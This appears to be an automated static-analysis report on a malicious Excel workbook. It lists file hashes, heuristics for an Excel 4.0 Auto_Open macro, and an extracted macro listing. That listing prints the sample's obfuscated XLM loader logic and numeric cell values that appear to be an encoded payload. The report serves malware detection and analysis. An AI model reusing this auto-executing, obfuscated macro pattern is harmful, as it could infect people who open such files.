Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 85eb0f2a5900d285…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:44:50 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 1cf25738b7226f8f2a0fd8833a8ad60f SHA-1: 09db98c75bcdd21663f1392f656689e37866179c SHA-256: 85eb0f2a5900d285a8791e8820a1302deb377b6c2710e10f82e83fdb20604e29
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6694 bytes
SHA-256: a1349e5d0dfa00b7b1aebc521a52b7204f51696f38bb8f5edd551e5f26fe3247
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LyNqbA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F138 
' 0018     26 LABEL : Cell Value, String Constant - bXJZAxFSQJc len=0 
' 0018     24 LABEL : Cell Value, String Constant - eIQORVZSQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - gtMrmmLF len=0 
' 0018     27 LABEL : Cell Value, String Constant - KGfIUzlFgrUb len=0 
' 0018     22 LABEL : Cell Value, String Constant - kZqMpBe len=0 
' 0018     27 LABEL : Cell Value, String Constant - loyOsCXwvmSz len=0 
' 0018     20 LABEL : Cell Value, String Constant - nkoWs len=0 
' 0018     23 LABEL : Cell Value, String Constant - nWnRwEKW len=0 
' 0018     21 LABEL : Cell Value, String Constant - oCfqNb len=0 
' 0018     27 LABEL : Cell Value, String Constant - PFUjQRMCJJng len=0 
' 0018     22 LABEL : Cell Value, String Constant - pZSAiJE len=0 
' 0018     25 LABEL : Cell Value, String Constant - QyxUPBJGQW len=0 
' 0018     23 LABEL : Cell Value, String Constant - rKyVrxCc len=0 
' 0018     24 LABEL : Cell Value, String Constant - rNKQPCKao len=0 
' 0018     26 LABEL : Cell Value, String Constant - SEnZmDCBYCe len=0 
' 0018     27 LABEL : Cell Value, String Constant - vPuEdHpxlunr len=0 
' 0018     21 LABEL : Cell Value, String Constant - xvYPyf len=0 
' 0018     22 LABEL : Cell Value, String Constant - yCBYohF len=0 
' 0018     23 LABEL : Cell Value, String Constant - YtehmmoC len=0 
' 0018     24 LABEL : Cell Value, String Constant - YzwKkfqAr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LyNqbA,P47,"",279.00000000000000000000
'  LyNqbA,P48,"",-413.00000000000000000000
'  LyNqbA,P49,"",44.00000000000000000000
'  LyNqbA,P50,"",321.00000000000000000000
'  LyNqbA,F51,"SET.NAME("loyOsCXwvmSz",0+VALUE("0"))",""
'  LyNqbA,P51,"",257.00000000000000000000
'  LyNqbA,P52,"",-276.00000000000000000000
'  LyNqbA,F56,"SET.NAME("vPuEdHpxlunr",loyOsCXwvmSz)",""
'  LyNqbA,F59,"SET.NAME("eIQORVZSQ",loyOsCXwvmSz)",""
'  LyNqbA,F61,"SET.NAME("rKyVrxCc",COUNTA(gtMrmmLF))",""
'  LyNqbA,F64,"SET.NAME("kZqMpBe",COUNTA(pZSAiJE))",""
'  LyNqbA,F69,[],""
'  LyNqbA,F71,"SET.NAME("bXJZAxFSQJc","")",""
'  LyNqbA,F74,"vPuEdHpxlunr",""
'  LyNqbA,F78,"SET.NAME("rNKQPCKao",HLOOKUP("*",gtMrmmLF,vPuEdHpxlunr,FALSE))",""
'  LyNqbA,F83,"SEnZmDCBYCe",""
'  LyNqbA,F86,"SET.NAME("PFUjQRMCJJng",loyOsCXwvmSz)",""
'  LyNqbA,F91,[],""
'  LyNqbA,F93,"PFUjQRMCJJng",""
'  LyNqbA,F97,"YzwKkfqAr",""
'  LyNqbA,F99,"xvYPyf",""
'  LyNqbA,F102,"nWnRwEKW",""
'  LyNqbA,F105,"SET.NAME("QyxUPBJGQW",VALUE(HLOOKUP("*",pZSAiJE,nWnRwEKW,FALSE)))",""
'  LyNqbA,F107,"KGfIUzlFgrUb",""
'  LyNqbA,F109,"bXJZAxFSQJc",""
'  LyNqbA,F111,"eIQORVZSQ",""
'  LyNqbA,F115,NEXT(),""
'  LyNqbA,F119,"oCfqNb",""
'  LyNqbA,F122,[],""
'  LyNqbA,F125,"yCBYohF",""
'  LyNqbA,F129,NEXT(),""
'  LyNqbA,F134,RETURN(),""
'  LyNqbA,F163,"SET.NAME("YtehmmoC",F51)",""
'  LyNqbA,F168,"gtMrmmLF",""
'  LyNqbA,F173,"SET.NAME("pZSAiJE",R88C15)",""
'  LyNqbA,F177,"SET.NAME("yCBYohF",185)",""
'  LyNqbA,F181,"SET.NAME("nkoWs",6)",""
'  LyNqbA,F184,YtehmmoC(),""
'  LyNqbA,F185,HALT(),""